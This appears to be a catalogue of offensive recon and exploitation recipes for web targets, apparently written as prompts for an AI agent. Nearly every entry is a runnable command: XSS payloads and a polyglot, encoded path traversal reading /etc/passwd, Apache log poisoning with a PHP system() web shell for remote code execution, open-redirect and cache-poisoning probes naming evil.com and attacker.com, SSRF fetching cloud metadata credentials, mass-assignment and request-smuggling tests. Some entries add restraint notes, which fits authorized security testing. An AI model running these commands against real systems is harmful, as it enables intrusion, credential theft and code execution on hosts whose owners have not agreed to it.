Discover hidden HTTP parameters on a $TARGET endpoint with Arjun:
arjun -u "https://HOST/endpoint" --stable -oJ arjun.json
For each discovered parameter, test the obvious vulnerability class (redirect params → open redirect, file params → LFI).
Fuzzing
403 bypass fuzzing
Bypass $TARGET 403 protections using header-override tricks:
ffuf -u https://HOST/FUZZ -w paths.txt -H "X-Original-URL: /admin" -mc 200
Also try X-Rewrite-URL, X-Forwarded-For: 127.0.0.1, and trailing-dot/semicolon path variants. Report which technique opens which path.
Fuzzing
Virtual host discovery
Fuzz virtual hosts on $TARGET's IP to find internal-only sites:
ffuf -u https://TARGET_IP/ -H "Host: FUZZ.HOST" -w subdomains-top1million-5000.txt -ac
Compare discovered vhosts against public DNS — anything not publicly resolvable is high-value.
Fuzzing
API route guessing
Enumerate API objects on $TARGET's REST endpoints:
ffuf -u https://HOST/api/v1/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/objects.txt -mc 200,401,403
Map the route surface (users, orders, admin) and flag endpoints returning 401 vs 403 for authorization testing.
Fuzzing
Backup file hunting
Look for backup copies of $TARGET source files by appending classic suffixes:
cat all-urls.txt | grep -iE '\.(php|aspx?|jsp|json|xml|conf)$' | sed -E 's/$/~/' | httpx -silent -mc 200
Repeat with .bak, .old, .swp, and .orig extensions; report any leaked source or config.
Intel
GitHub dork for secrets
Search GitHub code for leaked $TARGET credentials:
gh search code "HOST api_key" --limit 50
Extend the dorks: password, secret, token, .env, config. Verify leaks are real (not placeholders) before reporting.
Intel
TruffleHog on org repos
Scan the target organization's public GitHub repos for verified secrets:
trufflehog github --org=ORGNAME --only-verified
Report only verified findings with repo, commit, and secret type — never test the credential beyond verification.
Intel
ASN to IP range expansion
Expand $TARGET's ASN into full IP ranges:
whois -h whois.radb.net -- '-i origin AS12345' | grep -Eo '([0-9.]+){4}/[0-9]+' | sort -u
Feed the ranges into naabu for a quick top-port scan and identify services not behind the CDN.
Intel
Port scan origin IPs
Port-scan $TARGET's IP space and fingerprint HTTP services:
cat ips.txt | naabu -top-ports 1000 -silent | httpx -silent -o services.txt
Highlight direct-IP services that bypass WAF/CDN protections — these often expose admin panels.
Intel
WAF and CDN detection
Identify which $TARGET hosts sit behind a CDN/WAF and which don't:
cat live.txt | httpx -silent -cdn -td
Hosts without CDN protection are direct-attack candidates; report them with their detected tech stack.
Subdomains
Chaos dataset lookup
Pull ProjectDiscovery's Chaos dataset for $TARGET:
chaos -d HOST -silent | sort -u
Merge with my active subs.txt, dedupe, and probe new entries with httpx to confirm they're alive.
Subdomains
SecurityTrails subdomain API
Query SecurityTrails for $TARGET subdomains:
curl -s "https://api.securitytrails.com/v1/domain/HOST/subdomains" -H "APIKEY: $ST_KEY" | jq -r '.subdomains[]' | sed "s/$/.HOST/" | sort -u
Compare against my crt.sh output and flag subdomains found only in SecurityTrails.
Subdomains
AlienVault OTX subdomains
Pull passive DNS for $TARGET from AlienVault OTX:
curl -s "https://otx.alienvault.com/api/v1/indicators/domain/HOST/passive_dns" | jq -r '.passive_dns[]?.hostname' | grep -E "\.HOST$" | sort -u
Report unique hosts not in my current scope, sorted by DNS record age if the API returns it.
Subdomains
URLScan subdomain harvest
Query urlscan.io for every scanned $TARGET domain:
curl -s "https://urlscan.io/api/v1/search/?q=domain:HOST&size=10000" | jq -r '.results[].task.domain' | sort -u
Deduplicate and diff against my scope; new hosts often reveal preview or staging environments.
Subdomains
DNS wildcard detection
Detect whether $TARGET uses DNS wildcards before mass brute forcing:
for i in $(seq 1 5); do dig +short "$(openssl rand -hex 8).HOST" | head -1; done | sort -u
If the same IP appears for random names, filter it out from any brute-force resolution results.
Subdomains
DNS brute force with puredns
Brute-force $TARGET subdomains with puredns and a strong wordlist:
puredns bruteforce /usr/share/wordlists/subdomains-top1million-110000.txt HOST -r resolvers.txt --write bf.txt
Automatically filter wildcard responses, then merge results with passive sources.
Subdomains
Permutation subdomain gen
Generate permutations of known $TARGET subdomains and resolve them:
dnsgen subs.txt | puredns resolve -r resolvers.txt --write perms.txt
Common permutations (dev-, -staging, -uat) often surface unlisted environments — highlight those in the report.
URLs & Params
Commoncrawl URL dump
Dump every $TARGET URL from a recent Common Crawl index:
curl -s "https://index.commoncrawl.org/CC-MAIN-2024-30-index?url=*.HOST&output=json" | jq -r '.url' | sort -u
Bucket URLs by path prefix and rank the top 20 endpoints by unique parameter count.
URLs & Params
URL diff between crawls
Diff $TARGET URL sets between crawls to catch new endpoints:
comm -13 <(sort urls-old.txt) <(sort urls-new.txt) > new-urls.txt
Prioritize new endpoints containing admin, api, upload, or debug keywords for immediate testing.
URLs & Params
JS file collection
Collect every JavaScript URL from $TARGET's URL corpus:
cat all-urls.txt | grep -Ei "\.js(\?|$)" | sort -u > js.txt
Download them all with wget -i js.txt -P js-files/ and grep for API keys, tokens, and internal URLs.
URLs & Params
SecretFinder over JS
Run SecretFinder against every $TARGET JavaScript file:
cat js.txt | xargs -I % python3 SecretFinder.py -i % -o cli
Filter false positives (test/example strings) and validate live keys against their respective APIs before reporting.
URLs & Params
URL parameter frequency
Rank $TARGET parameters by how often they appear across the URL corpus:
cat all-urls.txt | grep -oE '\?[^ ]+' | tr '&' '\n' | cut -d= -f1 | sort | uniq -c | sort -rn | head -30
High-frequency parameters are usually well-tested — focus manual review on the tail (frequency 1-3).
URLs & Params
URL extension breakdown
Break down $TARGET URLs by file extension:
cat all-urls.txt | grep -oE '\.[a-zA-Z0-9]{2,5}(\?|$)' | sort | uniq -c | sort -rn
Report unusual extensions (.action, .do, .cgi, .cfm) — these often hint at legacy stacks with known CVE surface.
XSS
Stored XSS in profile fields
Test $TARGET profile fields for stored XSS:
curl -s -X POST "https://HOST/profile" -H "Cookie: $C" -d 'bio=<img src=x onerror=alert(document.domain)>'
curl -s "https://HOST/profile" -H "Cookie: $C" | grep -c "onerror=alert"
Repeat across name, bio, website, and any rich-text fields. Verify context (raw HTML vs sanitized) for each hit.
XSS
XSS payload polyglot
Generate a proven XSS polyglot for $TARGET fuzzing:
Use this payload for any reflection you find:
jaVasCript:/*-/*\`/*\\`/*'/*"/**/(/* */oNcliCk=alert() )//
Inject it into every reflected parameter and report the contexts where it fires.
XSS
Angular template injection
Test $TARGET Angular endpoints for client-side template injection:
cat urls.txt | qsreplace '{{constructor.constructor("alert(1)")()}}' | httpx -silent
Identify Angular from tech fingerprints first, then confirm sandbox-escape execution manually in a browser.
XSS
PostMessage sink discovery
Find postMessage handlers in $TARGET JavaScript for DOM XSS pivots:
cat js.txt | xargs -I % curl -s % | grep -nE "addEventListener\(['\"]message['\"]|onmessage" | sort -u
For each handler, check whether it validates event.origin — missing checks are exploitable via cross-window messaging.
XSS
SVG XSS via file upload
Upload a malicious SVG to $TARGET's file upload endpoint:
curl -s -X POST "https://HOST/upload" -F "file=@xss.svg" -H "Cookie: $C" | jq -r '.url'
Request the returned URL and confirm the SVG executes JavaScript in the browser context of the app domain.
LFI & Redirects
Filter bypass with double URL encoding
Bypass basic $TARGET LFI filters with double URL encoding:
cat urls.txt | gf lfi | qsreplace "%252e%252e%252f%252e%252e%252fetc%252fpasswd" | httpx -silent -mr "root:x:0:0"
Also try UTF-8 (%c0%ae) and null-byte (%00) suffixes; report which encoding wins per host.
LFI & Redirects
Open redirect header abuse
Test $TARGET hosts for Host-header-based open redirects:
cat live.txt | httpx -silent -H "Host: evil.com" -mr "evil.com"
Also probe X-Forwarded-Host and X-Original-Host; some misconfigured backends use these to build redirect URLs.
LFI & Redirects
OAuth redirect_uri fuzzing
Fuzz $TARGET OAuth-style redirect parameters for token theft:
cat urls.txt | grep -iE "redirect_uri|returnTo|next=" | qsreplace "https://attacker.com" | httpx -silent -fr
For apparent bypasses, walk the full OAuth handshake and report whether an authorization code leaks to the attacker origin.
LFI & Redirects
Windows path traversal
Test $TARGET Windows hosts for LFI with backslash traversal:
cat urls.txt | gf lfi | qsreplace "..\\..\\..\\..\\windows\\win.ini" | httpx -silent -mr "\[fonts\]"
Any match confirms Windows LFI — report host, depth, and encoding used.
LFI & Redirects
Log poisoning to RCE
Chain $TARGET LFI to RCE via Apache access-log poisoning:
curl -s "https://HOST/index.php?page=../../../../var/log/apache2/access.log" -A "<?php system($_GET['c']); ?>"
curl -s "https://HOST/index.php?page=../../../../var/log/apache2/access.log&c=id"
Report the id output as proof; do not execute anything destructive.
CVE & RCE
Confluence OGNL probe
Test $TARGET Confluence instances for the OGNL RCE (CVE-2022-26134):
cat live.txt | nuclei -id CVE-2022-26134 -silent
For any hits, verify by requesting the harmless template execution endpoint from the template; never run destructive commands.
CVE & RCE
Spring4Shell probe
Check $TARGET Spring apps for Spring4Shell:
cat live.txt | nuclei -id CVE-2022-22965 -silent
Confirm results with a benign class-loader probe; report Java version and Spring version from response headers.
CVE & RCE
GraphQL introspection sweep
Discover $TARGET GraphQL endpoints and check whether introspection is enabled:
cat live.txt | httpx -silent -path /graphql,/api/graphql -mc 200
For each candidate, POST an introspection query and report which expose the full schema — dump the schema for authorization review.
CVE & RCE
Ivanti/CitrixBleed probes
Sweep $TARGET edge-VPN gear for the CitrixBleed and Ivanti Connect Secure CVE families:
cat live.txt | nuclei -tags citrix,ivanti -silent
Report findings with CVE ID, affected version, and public exploit availability.
CVE & RCE
GitLab RCE templates
Fingerprint $TARGET GitLab installs and run all matching nuclei templates:
cat live.txt | httpx -silent -td | grep -i gitlab | cut -d' ' -f1 | nuclei -tags gitlab -silent
Cross-check reported GitLab version against known CVEs and rank by severity.
CVE & RCE
SSRF blind probe with interactsh
Blind-test $TARGET SSRF candidates with an interactsh callback:
cat urls.txt | gf ssrf | qsreplace "http://YOUR.interact.sh" | httpx -silent
Monitor the interactsh client for DNS/HTTP callbacks and correlate each to the source URL that triggered it.
Misconfig
Swagger/OpenAPI exposure
Find exposed API documentation on $TARGET:
cat live.txt | httpx -silent -path /swagger-ui.html,/swagger/v1/swagger.json,/openapi.json,/api-docs -mc 200
For hits, parse the schema and list any endpoints that lack security definitions — those are the first candidates for auth-bypass testing.
Misconfig
Actuator endpoint exposure
Probe $TARGET Spring Boot Actuator endpoints:
cat live.txt | httpx -silent -path /actuator,/actuator/env,/actuator/heapdump,/actuator/mappings -mc 200
For any 200 on /env or /heapdump, describe the sensitive data exposed and remediation without downloading credentials in full.
Misconfig
Prometheus metrics exposure
Find public Prometheus metrics endpoints on $TARGET:
cat live.txt | httpx -silent -path /metrics -mc 200 -mr "^# HELP"
Summarize what internal information leaks (hostnames, versions, user counts) and rate the impact per host.
Misconfig
Kubernetes API surface
Detect exposed Kubernetes control planes on $TARGET:
cat live.txt | httpx -silent -path /api/v1,/version,/apis -p 6443,8443,10250
Any 200 without auth or informative 403 messages indicates a misconfigured cluster — report cluster version if disclosed.
Misconfig
Elasticsearch open indices
Find open Elasticsearch clusters on $TARGET:
cat live.txt | httpx -silent -path /_cat/indices,/_cluster/health -mc 200 -mr "yellow|green"
List exposed indices with document counts (never read documents) and report accessible clusters and versions.
Misconfig
Jenkins anonymous access
Check $TARGET Jenkins instances for anonymous access:
cat live.txt | httpx -silent -path /script,/computer,/manage -mc 200 -mr "Jenkins"
Read-only confirmation: report accessible paths, Jenkins version from footer, and whether /script (Groovy console) responds.
Misconfig
WebDAV method probe
Detect $TARGET hosts with WebDAV enabled:
cat live.txt | httpx -silent -x PROPFIND -mc 207 -mr "multistatus"
For hits, enumerate methods with OPTIONS; report PUT/DELETE availability as a potential upload/RCE path.
Fuzzing
HTTP method override fuzz
Test $TARGET hosts for accepted non-standard HTTP methods:
cat live.txt | httpx -silent -x PUT,DELETE,PATCH,TRACE -json | jq -r 'select(.status_code != 405) | .url'
Any non-405 response for PUT or DELETE warrants immediate investigation — report affected paths and status codes.
Fuzzing
Race condition prober
Test $TARGET single-use actions for race conditions:
for i in {1..50}; do (curl -s -X POST "https://HOST/api/coupon" -H "Cookie: $C" -d 'code=WELCOME10' &); done; wait
Count successful applications in the response set; more than one indicates a race worth reporting.
Fuzzing
HTTP request smuggling detection
Run smuggler.py against every live $TARGET host:
cat live.txt | smuggler.py -u - --test all
Report confirmed CL.TE / TE.CL / TE.TE findings with server fingerprint and the exact desync payload used.
Fuzzing
Cache poisoning probe
Probe $TARGET hosts for header-based cache poisoning:
cat live.txt | httpx -silent -H "X-Forwarded-Host: evil.com" -mr "evil.com"
Repeat with X-Host, X-Original-URL, and Forwarded; where responses reflect and are cacheable (long Age / public Cache-Control), report a poisoning primitive.
Fuzzing
Sensitive JSON fields brute
Brute-force mass-assignment fields on a $TARGET user endpoint:
ffuf -u "https://HOST/api/user" -X POST -H "Content-Type: application/json" -d '{"FUZZ":"true"}' -w mass-assign-params.txt -mc 200
Inject candidates like isAdmin, role, verified — report any that persist on subsequent GETs.
Fuzzing
Login endpoint credential stuffing check
Check $TARGET login endpoints for missing rate limiting (report only):
for i in {1..20}; do curl -s -o /dev/null -w "%{http_code}\n" -X POST https://HOST/login -d "user=test&pass=wrong$i"; done | sort | uniq -c
If all 20 return 200/401 with no 429 or lockout, report the absence of rate limiting. Do not perform real credential stuffing.
Fuzzing
GraphQL query batching
Test $TARGET GraphQL endpoints for query batching (rate-limit bypass surface):
curl -s -X POST https://HOST/graphql -H "Content-Type: application/json" -d '[{"query":"{me{id}}"},{"query":"{me{id}}"}]' | jq
If batched responses return, describe how it can defeat login rate limits and OTP verification counters.
Intel
Wayback JS diff
Compare $TARGET's current JavaScript inventory to historical Wayback captures:
waybackurls HOST | grep "\.js$" | sort -u > wb-js.txt; comm -13 <(sort js.txt) wb-js.txt > removed-js.txt
Deleted files sometimes remain reachable — probe each with httpx and mine 200s for secrets.
Intel
Favicon hash pivoting
Pivot $TARGET's favicon hash across Shodan to find sibling infrastructure:
curl -s "https://HOST/favicon.ico" | md5sum
shodan search "http.favicon.hash:<HASH>" --fields ip_str,hostnames
Report hosts sharing the same favicon that aren't currently in scope but likely belong to the same org.
Intel
Employee OSINT via LinkedIn dorks
Assemble Google dorks to enumerate $TARGET employees for phishing risk-modeling:
site:linkedin.com/in "ORGNAME"
site:linkedin.com/in "ORGNAME" (engineer OR devops OR security)
Output a table of dorks to run manually; do not scrape LinkedIn directly.
Intel
S3 bucket brute enumeration
Brute common S3 bucket permutations for $TARGET:
for env in dev staging prod backup assets media logs; do curl -s -o /dev/null -w "%{http_code} https://ORGNAME-$env.s3.amazonaws.com\n" "https://ORGNAME-$env.s3.amazonaws.com"; done
200 or 403 responses both indicate an existing bucket — report both cases.
Intel
Postman collection search
Search public Postman workspaces for $TARGET API collections:
curl -s "https://www.postman.com/_api/ws/proxy" -X POST -H "content-type: application/json" -d '{"service":"search","method":"POST","path":"/search-all","body":{"queryIndices":["collaboration.workspace"],"queryText":"HOST"}}' | jq
Report public collections that leak internal endpoints, staging URLs, or bearer tokens.
Intel
Pastebin leak monitor
Search Pastebin dumps for references to $TARGET:
curl -s "https://psbdmp.ws/api/search/HOST" | jq -r '.data[]?.id' | head -20
Fetch each paste and grep for credentials, hostnames, and tokens. Report only verified leaks with redacted samples.
Intel
Cloud metadata IP probe
Probe $TARGET SSRF candidates for AWS metadata access:
cat urls.txt | gf ssrf | qsreplace "http://169.254.169.254/latest/meta-data/" | httpx -silent -mr "ami-id|instance-id"
Also try http://169.254.169.254/latest/meta-data/iam/security-credentials/; any credentials returned prove a critical SSRF. Report the endpoint without exfiltrating the keys.